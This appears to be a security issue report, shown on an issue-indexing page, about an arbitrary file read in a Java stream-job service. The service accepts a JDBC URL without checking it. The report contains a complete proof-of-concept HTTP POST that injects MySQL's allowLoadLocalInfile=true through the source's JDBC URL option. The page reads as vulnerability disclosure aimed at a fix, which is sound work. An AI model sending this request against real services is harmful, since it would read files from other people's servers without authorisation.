Potential arbitrary file read vulnerability
- Dominant language
- Java
- Stars
- 2k
- Forks
- 430
- PR merge metrics
- No merged PRs in 30d
Description
The current code logic does not provide any protection for the passed JDBC URL. Therefore, attackers can inject malicious parameters to launch attacks, such as allowLoadLocalInfile in MySQL, which enables arbitrary file reading.
Below is an example of arbitrary file reading:
```
POST /stream-job//source HTTP/1.1
Host: xxxx
Content-Type: application/json
x-empid: admin
{"sourceName":"attack_src","sourceType":"jdbc","columns":[{"columnName":"id","columnType":"INT"}],"options":[{"key":"connector","value":"jdbc"},{"key":"url","value":"jdbc:mysql://xxxx:3306/test?allowLoadLocalInfile=true"},{"key":"table-name","value":"user"},{"key":"username","value":"root"},{"key":"password","value":"pass"}]}
```
Contributor guide
Research direction
Start at the POST /stream-job//source entry point and trace how the submitted source options, especially the JDBC URL, reach the connector. Reproduce the supplied MySQL URL only in a controlled environment, then verify that the completed change prevents arbitrary local-file reads without breaking supported JDBC sources.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- java, mysql
- Domain
- backend, databases, security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Active
- Clarity
- Mostly clear
- Newbie friendliness
- 48/100